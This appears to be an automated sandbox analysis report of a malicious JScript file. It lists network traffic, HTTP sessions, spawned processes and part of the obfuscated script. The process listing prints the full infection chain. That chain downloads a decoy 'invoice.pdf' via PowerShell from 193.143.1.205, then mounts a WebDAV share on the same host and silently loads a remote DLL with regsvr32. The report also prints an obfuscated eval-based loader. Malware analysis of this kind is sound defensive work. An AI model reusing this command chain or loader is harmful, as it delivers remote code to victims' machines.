Jan 14, 2025 10:55:01.310687065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.310709000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310741901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310748100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.310775042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310807943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310817003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.310842037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.310873032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349200010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349215984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349267960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349284887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349303007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349313021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349323034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349339962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349350929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349360943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349370956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349390030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349389076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349389076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349389076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349389076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349400043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349410057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349421024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349423885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349431992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349442005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349451065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349452972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349462032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349464893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349473000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:01.349483967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.349503994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:01.671612978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:02.369096994 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:02.374572992 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:02.374665976 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:02.375016928 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:02.379837036 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:03.179800034 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:03.222228050 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:03.640928030 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:31.498497963 CET	61204	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:55:31.503428936 CET	53	61204	1.1.1.1	192.168.2.5
Jan 14, 2025 10:55:31.505606890 CET	61204	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:55:31.505606890 CET	61204	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:55:31.510610104 CET	53	61204	1.1.1.1	192.168.2.5
Jan 14, 2025 10:55:31.978867054 CET	53	61204	1.1.1.1	192.168.2.5
Jan 14, 2025 10:55:31.979615927 CET	61204	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:55:31.984635115 CET	53	61204	1.1.1.1	192.168.2.5
Jan 14, 2025 10:55:31.985138893 CET	61204	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 10:55:15.336251974 CET	60580	53	192.168.2.5	1.1.1.1
Jan 14, 2025 10:55:31.497935057 CET	53	54457	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 10:55:15.336251974 CET	192.168.2.5	1.1.1.1	0xb21f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 10:55:14.115549088 CET	1.1.1.1	192.168.2.5	0x114e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:55:14.115549088 CET	1.1.1.1	192.168.2.5	0x114e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:55:15.343677998 CET	1.1.1.1	192.168.2.5	0xb21f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	4268	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:54:59.815745115 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 14, 2025 10:55:00.588187933 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 09:55:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 14, 2025 10:55:00.588243961 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 14, 2025 10:55:00.588279963 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 14, 2025 10:55:00.588311911 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 14, 2025 10:55:00.588346958 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 14, 2025 10:55:00.588382006 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 14, 2025 10:55:00.588416100 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 14, 2025 10:55:00.588450909 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 14, 2025 10:55:00.588485956 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 14, 2025 10:55:00.588522911 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 14, 2025 10:55:00.630968094 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6188	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:55:02.375016928 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 14, 2025 10:55:03.179800034 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 09:55:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	04:54:56
Start date:	14/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js"
Imagebase:	0x7ff70d320000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:54:56
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Imagebase:	0x7ff66b6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:54:56
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:54:56
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:55:01
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:55:01
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66b6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:55:01
Start date:	14/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6cd3a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:55:02
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	04:55:02
Start date:	14/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:55:02
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1636,i,11691038566996867236,5529193390739458141,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function holejo() {	holejo() ➔ undefined
1	this[wzzwos + zhmnbcku + fgokqav + buxppw] ( "qsbuaaaqc=[1031,3079,5127,4103,2055,3072];var amlbmax=this[risiv+fgokqav+xyjftkyd+ixglqofu+wzzwos+jtebhkcx+njwdhnz+neuezgzog](this[kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog][iehleiwxx+xyjftkyd+wzzwos+fgokqav+neuezgzog+wzzwos+szoutecu+zonxh+krlhlvtu+wzzwos+odljieks+neuezgzog](kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog+kbjxor+htsdlk+syjnrc+wzzwos+buxppw+buxppw)[lixudz+wzzwos+adtqfns+lixudz+wzzwos+fgokqav+egjqbt](duzfbo+nqmee+dffjeeitl+ynmuyl+qrrclkpcq+iehleiwxx+coitmoiuz+lixudz+lixudz+dffjeeitl+skjiwic+wtvja+qrrclkpcq+coitmoiuz+htsdlk+dffjeeitl+lixudz+apepsau+iehleiwxx+kxctttfz+njwdhnz+neuezgzog+xyjftkyd+kxctttfz+buxppw+rqljxwua+dmubd+fgokqav+njwdhnz+wzzwos+buxppw+apepsau+jtebhkcx+njwdhnz+neuezgzog+wzzwos+xyjftkyd+njwdhnz+fgokqav+neuezgzog+mfdic+kxctttfz+njwdhnz+fgokqav+buxppw+apepsau+mbszvfrkf+kxctttfz+odljieks+fgokqav+buxppw+wzzwos),16);for(gsgvdfy=0;gsgvdfy<qsbuaaaqc[buxppw+wzzwos+njwdhnz+adtqfns+neuezgzog+syjnrc];++gsgvdfy){if(amlbmax==qsbuaaaqc[gsgvdfy]){amlbmax=true;break;}}if(amlbmax!==true)this[kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog][jxnzpyuz+tfhxrhx+mfdic+neuezgzog]();this[kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog][iehleiwxx+xyjftkyd+wzzwos+fgokqav+neuezgzog+wzzwos+szoutecu+zonxh+krlhlvtu+wzzwos+odljieks+neuezgzog](kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog+kbjxor+htsdlk+syjnrc+wzzwos+buxppw+buxppw)[xyjftkyd+tfhxrhx+njwdhnz](odljieks+cpfbrqfjs+egjqbt+rqljxwua+nnqek+odljieks+rqljxwua+risiv+kxctttfz+hejdigusj+wzzwos+xyjftkyd+ixglqofu+syjnrc+wzzwos+buxppw+buxppw+kbjxor+wzzwos+hjjpdvy+wzzwos+rqljxwua+flmourik+iehleiwxx+kxctttfz+cpfbrqfjs+cpfbrqfjs+fgokqav+njwdhnz+egjqbt+rqljxwua+udxpgw+jtebhkcx+njwdhnz+zhmnbcku+kxctttfz+svliwrs+wzzwos+flmourik+kprrazktk+wzzwos+zonxh+lixudz+wzzwos+zdgbxtpkn+tfhxrhx+wzzwos+ixglqofu+neuezgzog+rqljxwua+flmourik+szoutecu+tfhxrhx+neuezgzog+oxaebiek+mfdic+buxppw+wzzwos+rqljxwua+uzvwdxi+neuezgzog+wzzwos+cpfbrqfjs+risiv+uzvwdxi+apepsau+mfdic+njwdhnz+zhmnbcku+kxctttfz+mfdic+odljieks+wzzwos+kbjxor+risiv+egjqbt+qgiinyh+rqljxwua+syjnrc+neuezgzog+neuezgzog+risiv+tkvsxumx+nnqek+nnqek+nwdcp+ivqhvljr+amznlgibm+kbjxor+nwdcp+iyukv+amznlgibm+kbjxor+nwdcp+kbjxor+lhkqoq+pbqndtlmx+xvrrysml+nnqek+mfdic+njwdhnz+zhmnbcku+kxctttfz+mfdic+odljieks+wzzwos+kbjxor+risiv+syjnrc+risiv+udxpgw+koqtxxxat+koqtxxxat+ixglqofu+neuezgzog+fgokqav+xyjftkyd+neuezgzog+rqljxwua+uzvwdxi+neuezgzog+wzzwos+cpfbrqfjs+risiv+uzvwdxi+apepsau+mfdic+njwdhnz+zhmnbcku+kxctttfz+mfdic+odljieks+wzzwos+kbjxor+risiv+egjqbt+qgiinyh+koqtxxxat+koqtxxxat+odljieks+cpfbrqfjs+egjqbt+rqljxwua+nnqek+odljieks+rqljxwua+njwdhnz+wzzwos+neuezgzog+rqljxwua+tfhxrhx+ixglqofu+wzzwos+rqljxwua+apepsau+apepsau+nwdcp+ivqhvljr+amznlgibm+kbjxor+nwdcp+iyukv+amznlgibm+kbjxor+nwdcp+kbjxor+lhkqoq+pbqndtlmx+xvrrysml+dicazaoy+babedu+babedu+babedu+babedu+apepsau+egjqbt+fgokqav+zhmnbcku+hejdigusj+hejdigusj+hejdigusj+xyjftkyd+kxctttfz+kxctttfz+neuezgzog+apepsau+koqtxxxat+koqtxxxat+odljieks+cpfbrqfjs+egjqbt+rqljxwua+nnqek+odljieks+rqljxwua+xyjftkyd+wzzwos+adtqfns+ixglqofu+zhmnbcku+xyjftkyd+amznlgibm+lhkqoq+rqljxwua+nnqek+ixglqofu+rqljxwua+apepsau+apepsau+nwdcp+ivqhvljr+amznlgibm+kbjxor+nwdcp+iyukv+amznlgibm+kbjxor+nwdcp+kbjxor+lhkqoq+pbqndtlmx+xvrrysml+dicazaoy+babedu+babedu+babedu+babedu+apepsau+egjqbt+fgokqav+zhmnbcku+hejdigusj+hejdigusj+hejdigusj+xyjftkyd+kxctttfz+kxctttfz+neuezgzog+apepsau+nwdcp+cskayxqh+babedu+lhkqoq+nwdcp+cskayxqh+nwdcp+xvrrysml+xvrrysml+ivqhvljr+amznlgibm+iyukv+nnnifeog+kbjxor+egjqbt+buxppw+buxppw,0,false);" );	eval("qsbuaaaqc=[1031,3079,5127,4103,2055,3072];var amlbmax=this[risiv+fgokqav+xyjftkyd+ixglqofu+wzzwos+jtebhkcx+njwdhnz+neuezgzog](this[kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog][iehleiwxx+xyjftkyd+wzzwos+fgokqav+neuezgzog+wzzwos+szoutecu+zonxh+krlhlvtu+wzzwos+odljieks+neuezgzog](kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog+kbjxor+htsdlk+syjnrc+wzzwos+buxppw+buxppw)[lixudz+wzzwos+adtqfns+lixudz+wzzwos+fgokqav+egjqbt](duzfbo+nqmee+dffjeeitl+ynmuyl+qrrclkpcq+iehleiwxx+coitmoiuz+lixudz+lixudz+dffjeeitl+skjiwic+wtvja+qrrclkpcq+coitmoiuz+htsdlk+dffjeeitl+lixudz+apepsau+iehleiwxx+kxctttfz+njwdhnz+neuezgzog+xyjftkyd+kxctttfz+buxppw+rqljxwua+dmubd+fgokqav+njwdhnz+wzzwos+buxppw+apepsau+jtebhkcx+njwdhnz+neuezgzog+wzzwos+xyjftkyd+njwdhnz+fgokqav+neuezgzog+mfdic+kxctttfz+njwdhnz+fgokqav+buxppw+apepsau+mbszvfrkf+kxctttfz+odljieks+fgokqav+buxppw+wzzwos),16);for(gsgvdfy=0;gsgvdfy<qsbuaa